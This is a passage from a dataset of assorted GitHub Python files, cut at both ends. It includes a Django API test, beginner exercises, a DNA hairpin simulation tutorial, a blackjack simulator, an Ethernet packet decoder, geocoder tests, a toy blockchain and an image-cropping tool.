\"__main__\":\r\n principal()","repo_name":"Nicolas-albu/Sistema-de-Consulta-de-Clientes","sub_path":"SCC.py","file_name":"SCC.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28808318762","text":"import json\nimport pytest\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\nfrom rest_framework import status\nfrom job.models import LearnModel\n\n\npytestmark = pytest.mark.django_db\n\n\ndef test_model_to_train(ensemble_all_types, client):\n learn_model = LearnModel.objects.get(model_name='MLP_MAXOUT_CONV')\n ens = learn_model.ensemble\n ens.queue_key = 'asd'\n ens.save()\n data = {\n 'model': learn_model.id,\n 'state': 'TRAIN',\n 'worker_key': settings.WORKER_KEY,\n 'queue_key': ens.queue_key,\n 'model_params': {\n \"maxnum_iter\": 100,\n \"percent_batches_per_iter\": 100,\n \"save_freq\": 25,\n \"batch_size\": 128,\n \"learning_rate\": {\n \"init\": 0.1,\n \"constant\": True\n },\n \"momentum\": {\n \"init\": 0.1,\n \"constant\": True\n },\n \"layers\": [\n {\n \"max_kernel_norm\": 0.9,\n \"num_pieces\": 2,\n \"pool_stride\": 2,\n \"pad\": 0,\n \"num_units\": 48,\n \"layer_name\": \"h0\",\n \"type\": \"maxout_convolution\",\n \"pool_shape\": 4,\n \"kernel_shape\": 8,\n \"irange\": 0.0005\n },\n ]\n },\n }\n response = client.post(reverse('api_train_status'),\n data=json.dumps(data),\n content_type='application/json')\n assert response.status_code == status.HTTP_200_OK\n model_params = LearnModel.objects.get(pk=learn_model.pk).model_params\n assert model_params == data['model_params']\n","repo_name":"deniskolokol/dlic","sub_path":"front_end/api/tests/test_worker_api.py","file_name":"test_worker_api.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10666517425","text":"#emp={empno:[name,age,salary],...sixitems}\r\n#example\r\n#emp={\"E001\":[\"Arun\",22,35000],...sixitems}\r\n\r\ndef age():\r\n for i in emp:\r\n if (int(emp[i][1])>50):\r\n print(emp[i][0])\r\n \r\n\r\ndef show(nam):\r\n nonam=True\r\n for i in emp:\r\n if (emp[i][0]==nam):\r\n print(\"name\",emp[i][0])\r\n print(\"age\",emp[i][1])\r\n print(\"salary\",emp[i][2])\r\n nonam=False\r\n break\r\n if (nonam==True):\r\n print(f'name \"{nam}\" is not there')\r\n\r\nn=1\r\nemp={}\r\nwhile (n<=2):\r\n empno=\"E00\"+str(n)\r\n emp[empno]=[]\r\n emp[empno].append(input(\"enter employee's name\"))\r\n emp[empno].append(int(input(\"enter employee's age\")))\r\n emp[empno].append(int(input(\"enter employee's salary\")))\r\n print()\r\n n=n+1\r\nprint(emp)\r\nshow(input(\"enter name of employee to be searched\"))\r\nage()\r\n","repo_name":"Tarunjeeth/Python-codes","sub_path":"Py/72.py","file_name":"72.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6627186527","text":"\"\"\"문자열 S가 주어졌을 때, S의 서로 다른 부분 문자열의 개수를 구하는 프로그램을 작성하시오.\n\n부분 문자열은 S에서 연속된 일부분을 말하며, 길이가 1보다 크거나 같아야 한다.\n\n예를 들어, ababc의 부분 문자열은 a, b, a, b, c, ab, ba, ab, bc, aba, bab, abc, abab, babc, ababc가 있고, 서로 다른것의 개수는 12개이다.\"\"\"\n\nS = input()\n\nstr_list = set()\nfor j in range(len(S)):\n for i in range(len(S)-(j)):\n str_list.add(S[i:i+j+1])\n\nprint(len(str_list))\n\n\"\"\"주의점\n\n1. 중복 제거 = set 자료구조\n+set는 add로 추가\nk라는 변수 굳이 쓸 필요 없이 위에 for문 그대로 쓰면됨...\"\"\"","repo_name":"kkkmj/algorithm_study","sub_path":"자료구조/11478.py","file_name":"11478.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74346859894","text":"from multistrand.objects import *\nfrom multistrand.options import Options\nfrom multistrand.system import SimSystem\n\n\n# Results of the simulation are stored in the Options object 'o' that was used\n# to set up the simulation. Since this is a \"Trajectory Mode\" simulation, we\n# will extract the sequence of conformations visited, and print them. Assumes a\n# single strand is being simulated.\ndef print_trajectory(o):\n print(o.full_trajectory[0][0][3]) # the strand sequence\n print(o.start_state[0].structure) # the starting structure\n for i in range(len(o.full_trajectory)):\n time = o.full_trajectory_times[i]\n state = o.full_trajectory[i][0]\n struct = state[4]\n dG = state[5]\n print(f'{struct} t={time:11.9f} seconds, dG={dG:6.2f} kcal/mol')\n\n# Sequence is from Schaeffer's PhD thesis, chapter 7, figure 7.1 -- start with\n# no base pairs formed.\nc = Complex(strands=[Strand(name=\"hairpin\", sequence=\"GTTCGGGCAAAAGCCCGAAC\")],\n structure= 20*'.')\n# WARNING! Unfortunately, Multistrand currently does not test to check that the\n# requested structure is valid. Providing an invalid structure is likely to lead\n# to a core dump or segmentation fault.\n\no = Options(temperature=25.0, \n dangles='Some', \n start_state=[c],\n simulation_time=5e-6, # 5 microseconds\n num_simulations=1, # don't play it again, Sam\n output_interval=1, # record every single step\n simulation_mode='Trajectory')\no.DNA23Metropolis()\nprint(f\"k_uni = {o.unimolecular_scaling:g} /s, k_bi = {o.bimolecular_scaling:g} /M/s\")\n# you can also set them to other values if you want\n\n# This actually runs the simulation.\ns = SimSystem(o)\ns.start()\n\nprint_trajectory(o) \n# Note that the simulation proceeds until the time limit has been EXCEEDED.\n# That means that, at the exact time specified, the system is in the PENULTIMATE\n# state. Just FYI -- but this is important if you are sampling to get an\n# \"equilibrium\" or time-dependent sample. If you were to take the last state,\n# and if that state is very short-lived, then you would over-sample it.\n\ndef myplot():\n import matplotlib\n import matplotlib.pylab as plt\n\n times = o.full_trajectory_times\n states = o.full_trajectory\n energies = [s[0][5] for s in states] # you can examine 'states' to see what other useful information is there\n\n plt.figure(1)\n plt.plot(times, energies,'go', times,energies,'g-')\n plt.title(\"Energy landscape for simulated hairpin folding trajectory\")\n plt.xlabel(\"Time (seconds)\", fontsize='larger')\n plt.ylabel(\"Microstate Energy (kcal/mol)\", fontsize='larger')\n plt.yticks(fontsize='larger', va='bottom')\n plt.xticks(fontsize='larger')\n plt.show()\n\n\n# execute the following only if run from the command line, e.g. as\n# \"python -i hairpin_trajectories.py\" or\n# \"ipython --pylab -i hairpin_trajectories.py\"\nif __name__ == '__main__':\n myplot()\nelse:\n print(\"Try:\\nhairpin_trajectories.myplot()\\n\")\n","repo_name":"DNA-and-Natural-Algorithms-Group/multistrand","sub_path":"tutorials/under_the_hood/hairpin_trajectories.py","file_name":"hairpin_trajectories.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"22691309873","text":"import math\n\ndef tn(n):\n if n < 10:\n return False\n s = str(n)\n return s == s[::-1]\n\ndef TC():\n n, m = [int(x) for x in input().split()]\n a = []\n for i in range(n):\n tmp = [int(x) for x in input().split()]\n a.append(tmp)\n\n maxele = 0\n minele = 10**6\n for i in range(n):\n for j in range(m):\n maxele = max(maxele, a[i][j])\n minele = min(minele, a[i][j])\n\n res = maxele - minele\n kq = []\n kq.append(res)\n ok = False\n for i in range(n):\n for j in range(m):\n if a[i][j] == res:\n ok = True\n kq.append(\"Vi tri [\" + str(i) + \"][\" + str(j) + \"]\")\n if ok:\n for i in kq:\n print(i)\n else:\n print(\"NOT FOUND\")\n\nt = 1\n#t = int(input())\nfor i in range(t): TC()\n\n# 6 4\n# 23 21 77 10\n# 13 13 22 14\n# 28 67 28 23\n# 29 77 11 67\n# 16 51 24 21\n# 13 25 77 77\n","repo_name":"nguyenvantu11052002/Python-PTIT","sub_path":"PY02057 - SỐ MAY MẮN TRONG MA TRẬN.py","file_name":"PY02057 - SỐ MAY MẮN TRONG MA TRẬN.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15532297034","text":"import os,json\n\npath_to_json = 'json/'\njson_files = [pos_json for pos_json in os.listdir(path_to_json) if pos_json.endswith('.json')]\n\ndisplay_card_str = ''\n# Read all json files \nfor json_file in json_files:\n with open('json/'+json_file) as f:\n data = json.load(f)\n content = data.values()\n \n title = list(content)[0]\n url = list(content)[1].split()[0]\n \n\n display_card_str += '
'+title+'
Get Details
'\n\nprint(display_card_str)\n\n","repo_name":"ravichanga101/RPCP_html_generation","sub_path":"home_main_page_generator.py","file_name":"home_main_page_generator.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2234712515","text":"\nimport game as g\nimport deck as d\nimport player as p\n\nif __name__ == '__main__':\n\n\t############ Intit ###############\n\t# --> Create Deck, Add players #\n\t# --> start the game #\n\t##################################\n\n\tprint(\"Creating Deck\")\n\tdeck = d.Deck()\n\tnumber_of_card = 100 * 52\n\tdeck.initialize(number_of_card=number_of_card, random_order=True)\n\n\tgame = g.Game(deck)\n\n\tplayer1 = p.Player(player_type=\"Gambler\", name=\"Player One\", playstyle='NoLogic')\n\tplayer2 = p.Player(player_type=\"Gambler\", name=\"Player Two\", playstyle='NoBust')\n\tplayer3 = p.Player(player_type=\"Gambler\", name=\"Player Three\", playstyle='Standard')\n\n\tprint(\"Creating Game & players\")\n\n\tgame.add_players(player1, player2, player3)\n\tgame.add_stats_obj()\n\n\tIs_deck_empty = False\n\n\tGame_played = 0\n\n\n\t############ Round ###############\n\t# --> Pass 2 card to each Player #\n\t##################################\n\tprint (\"Simulation started\")\n\tfor z in range(200):\n\t\tIs_deck_empty = game.pass_cards(2)\n\n\t\tif Is_deck_empty:\n\n\t\t\tgame.place_bets()\n\n\t\t\t# play_round() is where the player decide if he takes a card or not.\n\t\t\t# He will follow the rules of the given \"stand_on\" parameter.\n\t\t\t# By default, the player stand on 12 and the dealer on 17\n\t\t\tgame.play_round('Gambler', deck)\n\n\t\t\tgame.play_round('Dealer', deck)\n\t\t\t\t\n\t\t\t#compare() is where the player compare thier hand with the dealer's and check who won the hand.\n\t\t\tgame.compare()\n\n\t\t\tgame.stats.update_stats()\n\t\telse:\n\t\t\tbreak\n\n\t\tgame.flush_hand()\n\t\tgame.give_stats_to_players()\n\n\t# game.stats.show_all(['wins', \"bet_size\", 'money'])\n\tgame.stats.show_all(['count'])\n\n","repo_name":"Suween/Blackjack","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71077992052","text":"from pycrate_core.utils import reverse_dict\nfrom pycrate_core.elt import Envelope, REPR_RAW, REPR_HEX, REPR_BIN\nfrom pycrate_core.base import *\nfrom pycrate_core.repr import *\n\n# EthernetPacket decoder requires basic L2 / L3 objects for decoding\nfrom .IP import IPv4, ICMP, IPv6, UDP, TCP\nfrom .SCTP import SCTP\nfrom .ARP import ARP\n\n\nEtherType_dict = {\n 0x0800 : 'IPv4',\n 0x0806 : 'ARP',\n 0x0842 : 'WakeOnLAN',\n 0x22F3 : 'TRILL',\n 0x6003 : 'DECnet',\n 0x8035 : 'RARP',\n 0x809B : 'AppleTalk',\n 0x80F3 : 'AppleTalkARP',\n 0x8100 : 'VLAN',\n 0x8137 : 'IPX',\n 0x8204 : 'QNXQnet',\n 0x86DD : 'IPv6',\n 0x8808 : 'EthFlowCtrl',\n 0x8819 : 'CobraNet',\n 0x8847 : 'MPLS',\n 0x8848 : 'MPLSMulticast',\n 0x8863 : 'PPPoEDiscovery',\n 0x8864 : 'PPPoESession',\n 0x8870 : 'JumboFrames',\n 0x887B : 'HomePlug',\n 0x888E : 'EAP',\n 0x8892 : 'PROFINET',\n 0x889A : 'HyperSCSI',\n 0x88A2 : 'ATAoE',\n 0x88A4 : 'EtherCAT',\n 0x88A8 : 'IEEE8021ad',\n 0x88AB : 'Powerlink',\n 0x88CC : 'LLDP',\n 0x88CD : 'SERCOS_III',\n 0x88E1 : 'HomePlugAV',\n 0x88E3 : 'MediaRedundancyProtocol',\n 0x88E5 : 'IEEE8021ae',\n 0x88E7 : 'IEEE8021ah',\n 0x88F7 : 'IEEE1588',\n 0x8902 : 'IEEE8021ag',\n 0x8906 : 'FCoE',\n 0x8914 : 'FCoEInitialization',\n 0x8915 : 'RoCE',\n 0x891D : 'TTE',\n 0x892F : 'HSR',\n 0x9000 : 'EthernetConfigTest'\n }\n\nEtherTypeRev_dict = reverse_dict(EtherType_dict)\n\n# For Ethernet / VLAN automatic type setting:\n# it is required that the payload has one of the EtherType_dict value \n# as name attribute\n \nclass Ethernet(Envelope):\n _GEN = (\n Buf('dst', val=6*b'\\0', bl=48, rep=REPR_HEX),\n Buf('src', val=6*b'\\0', bl=48, rep=REPR_HEX),\n Uint16('type', rep=REPR_HEX) # val automated\n )\n \n def __init__(self, *args, **kwargs):\n Envelope.__init__(self, *args, **kwargs)\n self[2].set_valauto(lambda: self._set_type_val())\n \n def _set_type_val(self):\n pay = self.get_payload()\n if pay is not None and pay[0]._name in EtherTypeRev_dict:\n return EtherTypeRev_dict[pay[0]._name]\n else:\n return 0\n\n\nclass VLAN(Envelope):\n _GEN = (\n Uint('pcp', desc='Priority Code Point', bl=3),\n Uint('cfi', desc='Canonical Format Indicator', bl=1),\n Uint('vid', desc='VLAN identifier', bl=12),\n Uint16('type', rep=REPR_HEX) # val automated\n )\n \n def __init__(self, *args, **kwargs):\n Envelope.__init__(self, *args, **kwargs)\n self[3].set_valauto(lambda: self._set_type_val())\n \n def _set_type_val(self):\n pay = self.get_payload()\n if pay is not None and pay[0]._name in EtherTypeRev_dict:\n return EtherTypeRev_dict[pay[0]._name]\n else:\n return 0\n\n\n# EthernetPacket is a basic decoder which handles multiple stacked layers:\n# Ethernet (/VLAN) /ARP\n# /IPv4 /ICMP\n# /UDP\n# /TCP\n# /SCTP\n# /IPv6 /UDP\n# /TCP\n# /SCTP\n\nclass EthernetPacket(Envelope):\n \n _GEN = (\n Ethernet(),\n )\n \n def _from_char(self, char):\n self.__init__()\n # Ethernet layer\n self[0]._from_char(char)\n if not char.len_byte():\n return\n typ = self[0][2].get_val()\n hier = 1\n # potential VLAN layer\n if typ == 0x8100:\n vlan = VLAN(hier=hier)\n hier += 1\n vlan._from_char(char)\n self.append(vlan)\n if not char.len_byte():\n return\n typ = vlan[3]._val\n # ARP or IP layer\n if typ == 0x0806:\n arp = ARP(hier=hier)\n hier += 1\n arp._from_char(char)\n self.append(arp)\n return\n elif typ == 0x0800:\n ip = IPv4(hier=hier)\n hier += 1\n typ = ip[14]\n elif typ == 0x86DD:\n ip = IPv6(hier=hier)\n hier += 1\n typ = ip[4]\n ip._from_char(char)\n self.append(ip)\n if not char.len_byte():\n return\n typ = typ._val\n # ICMP, UDP, TCP or SCTP layer\n if typ == 1:\n icmp = ICMP(hier=hier)\n hier += 1\n icmp._from_char(char)\n self.append(icmp)\n return\n elif typ == 6:\n tcp = TCP(hier=hier)\n hier += 1\n tcp._from_char(char)\n self.append(tcp)\n elif typ == 17:\n udp = UDP(hier=hier)\n hier += 1\n udp._from_char(char)\n self.append(udp)\n elif typ == 132:\n sctp = SCTP(hier=hier)\n hier += 1\n sctp._from_char(char)\n self.append(sctp)\n # remaining higher layer undecoded data\n if char.len_byte():\n data = Buf('Data', hier=hier)\n hier += 1\n data._from_char(char)\n if isinstance(self[-1], IPv4):\n # remove the proto field automation\n self[-1]['proto'].set_valauto(None)\n elif isinstance(self[-1], IPv6):\n # remove the next field automation\n self[-1]['next'].set_valauto(None)\n self.append(data)\n\n","repo_name":"P1sec/pycrate","sub_path":"pycrate_ether/Ethernet.py","file_name":"Ethernet.py","file_ext":"py","file_size_in_byte":5353,"program_lang":"python","lang":"en","doc_type":"code","stars":363,"dataset":"github-code","pt":"21"} +{"seq_id":"36628998717","text":"#!/usr/bin/python3\n\"\"\"defining class RectangleExtends from class Base\n\"\"\"\n\n\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"defining __init__()\n defining width()\n defining height()\n defining x()\n defining y() as a public class attribute\n \"\"\"\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\"this method takes Arguments\n width(int): integer\n height(int): intger\n x(int): integer\n y(int): integer\n and id as a public attribute\n \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n @property\n def width(self):\n \"\"\"defining a property to width\"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\"defining a setter to width\"\"\"\n if type(value) is not int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n \"\"\"defining a property to height\"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\"defining a setter to height\"\"\"\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n \"\"\"defining a property to x\"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\"defining a setter to x\"\"\"\n if type(value) is not int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n \"\"\"defining a property to y\"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\"defining a setter to y\"\"\"\n if type(value) is not int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\"defining area which calc area\"\"\"\n return self.__width * self.__height\n\n def display(self):\n \"\"\"defining display to print the # in terms of width and height\"\"\"\n for yy in range(0, self.__y):\n print()\n for i in range(0, self.__height):\n for x in range(0, self.__x):\n print(\" \", end=\"\")\n for j in range(0, self.__width):\n print(\"#\", end=\"\")\n print()\n\n def __str__(self):\n \"\"\"defining __str__ \"\"\"\n s = \"[Rectangle] ({}) {}/{} - {}/{}\".format(\n self.id, self.x, self.y, self.width, self.height)\n return s\n\n def update(self, *args, **kwargs):\n \"\"\"defining update function to update the value of class attribute\"\"\"\n if args:\n for key, value in enumerate(args):\n if key == 0:\n self.id = value\n elif key == 1:\n self.width = value\n elif key == 2:\n self.height = value\n elif key == 3:\n self.x = value\n else:\n self.y = value\n else:\n for key, value in kwargs.items():\n if key == \"id\":\n self.id = value\n if key == \"width\":\n self.width = value\n if key == \"height\":\n self.height = value\n if key == \"x\":\n self.x = value\n if key == \"y\":\n self.y = value\n\n def to_dictionary(self):\n \"\"\"return the dictionary representation\"\"\"\n dictnry = {'id': self.id, 'width': self.width,\n 'height': self.height, 'x': self.x, 'y': self.y}\n return dictnry\n","repo_name":"surafel27/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14727642884","text":"#!/usr/bin/env python\n\nimport unittest\nfrom decimal import Decimal\nfrom geocode.google import GoogleGeocoder, GoogleGeocoderClient, GOOGLE_GEOCODING_API_URL\nfrom urlparse import urlparse\n\nclass GoogleGeocoderValidAddressTests(unittest.TestCase):\n \"\"\"\n Tests will fail if there is a network problem, such as misconfigured\n proxy or no connection.\n \"\"\"\n \n def setUp(self):\n self.address = \"1 Front Street West, Toronto, ON\"\n self.region = \"CA\"\n \n client = GoogleGeocoderClient(sensor=False)\n data = client.geocode_raw(\"json\", self.address, region=self.region)\n \n self.geocoder = GoogleGeocoder(data)\n \n def test_success(self):\n self.assertTrue(self.geocoder.is_success())\n \n def test_formatted_address(self):\n self.assertTrue(\"Toronto\" in self.geocoder.get_formatted_address())\n \n def test_location_type(self):\n location_type = self.geocoder.get_location_type()\n expected_location_type = \"ROOFTOP\"\n self.assertTrue(location_type == expected_location_type,\n \"Unexpected location_type: got `%s` but expecting `%s`\" % \\\n (location_type, expected_location_type))\n \n def test_location(self):\n (lat, lng) = self.geocoder.get_location()\n expected_lat = Decimal(\"43.6463685\")\n expected_lng = Decimal(\"-79.3770610\")\n self.assertTrue(lat == expected_lat, \"Expecting latitude `%s` but got `%s`\" % (expected_lat, lat))\n self.assertTrue(lng == expected_lng, \"Expecting longitude `%s` but got `%s`\" % (expected_lng, lng))\n\n\nclass GoogleGeocoderClientTests(unittest.TestCase):\n \"\"\" Test GoogleGRocoderClient \"\"\"\n \n def _get_params(self, url):\n # parses url and returns query params as a dictionary\n parsed_url = urlparse(url)\n return dict(map(lambda x:x.split(\"=\", 1), parsed_url.query.split(\"&\")))\n \n \n def test_signed_request(self):\n \"\"\" Test that signing is performed correctly when using Google Maps API\n for Business\n \"\"\"\n # based on the example from\n # https://developers.google.com/maps/documentation/business/webservices#signature_examples\n \n CLIENT_ID = 'clientID'\n \n client = GoogleGeocoderClient(\n False, client=CLIENT_ID, key='vNIXE0xscrmjlyV-12Nj_BvUPaw='\n )\n url = client._build_request(\"json\", \"New York\", None, None, None, None)\n params = self._get_params(url)\n \n self.assertIn('client', params)\n self.assertIn('signature', params)\n self.assertEqual(params['client'], CLIENT_ID)\n self.assertEqual(params['signature'], 'KrU1TzVQM7Ur0i8i7K3huiw3MsA=')\n \n def test_unsigned_request(self):\n \"\"\" Test that request is not signed when NOT using Google Maps API\n for Business\n \"\"\"\n \n client = GoogleGeocoderClient(False)\n url = client._build_request(\"json\", \"New York\", None, None, None, None)\n params = self._get_params(url)\n \n self.assertNotIn('client', params)\n self.assertNotIn('signature', params)\n \n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"wjdonnelly/python-geocoder","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39671372573","text":"# Blockchain\n\nimport hashlib\nimport time\nfrom datetime import datetime\n\n\nclass Block:\n def __init__(self, timestamp, data, previous):\n self.timestamp = timestamp\n self.data = data\n self.previous = previous\n self.hash = self._calc_hash()\n\n def _calc_hash(self):\n sha = hashlib.sha256()\n\n hash_str = str(self.data).encode(\"utf-8\")\n\n sha.update(hash_str)\n\n return sha.hexdigest()\n\n def get_hash(self):\n return self.hash\n\n def __str__(self):\n previous_hash = self.previous.get_hash() if self.previous else None\n\n return \"Data -> {}\\nPrevious Hash -> {}\\nCurrent Hash -> {}\\nTimestamp -> {}\".format(\n self.data,\n previous_hash,\n self.hash,\n self.timestamp,\n )\n\n\nclass Blockchain:\n def __init__(self):\n self.head = None\n\n def add_block(self, data, timestamp=None):\n if not timestamp:\n timestamp = datetime.now().strftime('%Y%m%d%H%M%S%f')\n timestamp_duplicated = self.timestamp_duplicated(timestamp)\n\n if data and not timestamp_duplicated:\n self.head = Block(timestamp=timestamp, data=data, previous=self.head)\n elif not timestamp_duplicated:\n print(\"A data value is required to add a new block to Blockchain\\n\")\n else:\n print(\"No duplicated timestamp allowed\\n\")\n\n def timestamp_duplicated(self, timestamp):\n head = self.head\n\n if head is None:\n return False\n\n while head:\n if head.timestamp == timestamp:\n return True\n head = head.previous\n\n return False\n\n def size(self):\n head = self.head\n length = 0\n\n while head:\n head = head.previous\n length += 1\n\n return length\n\n\nblockchain_1 = Blockchain()\n\nfor value in [\"Node1\", \"Node2\", \"Node3\"]:\n blockchain_1.add_block(value)\n print(blockchain_1.head, \"\\n\")\n time.sleep(1)\n\nprint(\"Blockchain Size:\", blockchain_1.size(), \"\\n\")\n\nblockchain_2 = Blockchain()\nblockchain_2.add_block(data=None)\n# print \"A data value is required to add a new block to Blockchain\"\n\nblockchain_3 = Blockchain()\nfreeze_timestamp = datetime.now().strftime('%Y%m%d%H%M%S%f')\nblockchain_3.add_block(data=\"Time1\", timestamp=freeze_timestamp)\nprint(blockchain_3.head, \"\\n\")\nblockchain_3.add_block(data=\"Time2\", timestamp=freeze_timestamp)\n# print \"No duplicated timestamp allowed\"\nblockchain_3.add_block(data=\"Time3\", timestamp=freeze_timestamp)\n# print \"No duplicated timestamp allowed\"","repo_name":"vrbarros/udacity-data-structures-algorithms-nanodegree","sub_path":"p_1/problem_5.py","file_name":"problem_5.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3707554761","text":"class Solution:\n def addDigits(self, num: int) -> int:\n if not num:\n return 0\n else:\n return (num - 1) % 9 + 1\n\n\ntest = Solution()\nprint([test.addDigits(i) for i in range(1000)])\n","repo_name":"dmp2016/LeetCode","sub_path":"Add Digits.py","file_name":"Add Digits.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21646252947","text":"# TO-DO: Complete the selection_sort() function below\ndef selection_sort(arr):\n # loop through n-1 elements\n for i in range(len(arr)):\n cur_index = i\n smallest_index = cur_index\n # TO-DO: find next smallest element\n # (hint, can do in 3 loc)\n for j in range(i+1, len(arr)):\n if arr[j] < arr[smallest_index]:\n smallest_index = j\n\n # TO-DO: swap\n arr[i], arr[smallest_index] = arr[smallest_index], arr[i]\n\n return arr\n\n\n# TO-DO: implement the Bubble Sort function below\ndef bubble_sort(arr):\n for i in range(len(arr)):\n for j in range(len(arr)-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n\n return arr\n\n\n# STRETCH: implement the Count Sort function below\ndef count_sort(arr, maximum=200):\n result = [0]*len(arr)\n keys = [0]*maximum\n\n for i in arr:\n if i < 0:\n return 'Error, negative numbers not allowed in Count Sort'\n keys[i] += 1\n\n # previous version, I tried to get too fancy by comparing the key with the next key\n # for i, item in enumerate(keys):\n # if i != 0:\n # keys[i] += keys[i-1]\n # keys = [0]+keys[:len(keys)-1]\n\n x = 0\n for i in range(len(keys)):\n while keys[i] > 0:\n result[x] = i\n x += 1\n keys[i] -= 1\n\n return result\n\n\narr1 = [0, 3, 8, 1, 2, 9, 6, 4, 5, 7]\nprint(count_sort(arr1))\n\n# pseudocode\n# function countingSort(array, k) is\n# count ← new array of k zeros\n# for i = 1 to length(array) do`\n# count[array[i]] ← count[array[i]] + 1\n# for i = 2 to k do\n# count[i] ← count[i] + count[i - 1]\n# for i = length(array) downto 1 do\n# output[count[array[i]]] ← array[i]\n# count[array[i]] ← count[array[i]] - 1\n# return output\n","repo_name":"DaftBeowulf/Sorting","sub_path":"src/iterative_sorting/iterative_sorting.py","file_name":"iterative_sorting.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16304004400","text":"# -*- coding:utf-8 -*-\n# author : gfjiangly\n# time : 2019/7/9 13:05\n# e-mail : jgf0719@foxmail.com\n# software : PyCharm\nimport cv2\nimport copy\nimport os.path as osp\nimport numpy as np\nfrom tqdm import tqdm\nfrom collections import defaultdict\n\nimport cvtools\n\n\nclass CropInOder(object):\n\n def __init__(self, img_prefix=None, ann_file=None,\n width_size=1920, height_size=1080, overlap=0.):\n self.img_prefix = img_prefix\n if ann_file is not None:\n self.ann_file = ann_file\n self.coco_dataset = cvtools.load_json(ann_file)\n self.COCO = cvtools.COCO(ann_file)\n self.catToAnns = defaultdict(list)\n if 'annotations' in self.coco_dataset:\n for ann in self.coco_dataset['annotations']:\n self.catToAnns[ann['category_id']].append(ann)\n\n assert 1920 >= width_size >= 800 and 1080 >= height_size >= 800 and 0.5 >= overlap >= 0.\n self.width_size = int(width_size)\n self.height_size = int(height_size)\n self.overlap = overlap\n\n def crop(self, img, boxes=None, labels=None, iof_th=0.8):\n h, w, c = img.shape\n crop_imgs = []\n starts = []\n # fix crop bug!\n y_stop = False\n for sy in range(0, h, int(self.height_size*(1.-self.overlap))):\n x_stop = False\n for sx in range(0, w, int(self.width_size * (1. - self.overlap))):\n ex = sx + self.width_size\n if ex > w:\n ex = w\n sx = w - self.width_size\n if sx < 0:\n sx = 0\n x_stop = True\n ey = sy + self.height_size\n if ey > h:\n ey = h\n sy = h - self.height_size\n if sy < 0:\n sy = 0\n y_stop = True\n # sy, ey, sx, ex = int(sy), int(ey), int(sx), int(ex)\n crop_imgs.append(img[sy:ey, sx:ex])\n starts.append((sx, sy))\n if x_stop:\n break\n if y_stop:\n break\n\n if boxes is not None and labels is not None and \\\n len(labels) > 0 and len(crop_imgs) > 1:\n assert len(boxes) == len(labels)\n gt_boxes = cvtools.x1y1wh_to_x1y1x2y2(boxes)\n return_imgs = []\n return_starts = []\n # return_boxes = []\n return_labels = []\n for i, crop_img in enumerate(crop_imgs):\n crop_h, crop_w, _ = crop_img.shape\n crop_x1, crop_y1 = starts[i]\n img_box = cvtools.x1y1wh_to_x1y1x2y2(np.array([[crop_x1, crop_y1, crop_w, crop_h]]))\n iof = cvtools.bbox_overlaps(gt_boxes.reshape(-1, 4), img_box.reshape(-1, 4), mode='iof').reshape(-1)\n ids = iof > iof_th\n temp = (iof > 0.) & (iof < 1.)\n # boxes_in = boxes[ids]\n labels_in = labels[ids]\n if len(labels_in) > 0:\n return_imgs.append(crop_img)\n return_starts.append(starts[i]) # fix not skip start bug\n # return_boxes.append(boxes_in)\n return_labels.append(labels_in)\n return return_imgs, return_starts, return_labels\n\n return crop_imgs, starts, [labels]\n\n def crop_with_label(self, save_root):\n image_ids = self.COCO.getImgIds()\n image_ids.sort()\n if cvtools._DEBUG:\n roidb = 